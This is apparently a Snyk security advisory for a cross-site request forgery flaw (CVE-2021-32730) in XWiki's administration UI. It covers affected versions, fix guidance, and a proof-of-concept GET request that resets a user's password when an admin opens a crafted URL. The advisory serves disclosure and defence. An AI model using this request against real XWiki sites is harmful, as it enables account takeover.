Cross-site Request Forgery (CSRF) Affecting org.xwiki.platform:xwiki-platform-administration-ui package, versions [13.0,13.2-rc-1)[,12.10.5)


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.07% (34th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Cross-site Request Forgery (CSRF) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JAVA-ORGXWIKIPLATFORM-1315814
  • published2 Jul 2021
  • disclosed2 Jul 2021
  • creditUnknown

Introduced: 2 Jul 2021

CVE-2021-32730  (opens in a new tab)
CWE-352  (opens in a new tab)

How to fix?

Upgrade org.xwiki.platform:xwiki-platform-administration-ui to version 13.2-rc-1, 12.10.5 or higher.

Overview

Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF). It is possible to forge an URL that will reset the password of any user in XWiki when the URL is accessed by an admin. The problem has been patched in XWiki 12.10.5 and 13.2RC1. As a workaround, it is possible to apply the patch manually by modifying the register_macros.vm template.

PoC

An example of a GET request that could reset the password of the user `toto`
GET /xwiki/bin/view/XWiki/toto?xpage=passwd&xwikipassword=aaaaaaaa&xwikipassword2=aaaaaaaa HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Origin: http://127.0.0.1:8080
Connection: close
Referer: http://127.0.0.1:8080/xwiki/bin/view/XWiki/toto?xpage=passwd
Cookie: JSESSIONID=1AC1B58E461B85FBE5E1C980197C5A64; username="XXX"; password="XXX"; rememberme="false"; validation="XXX"

CVSS Scores

version 3.1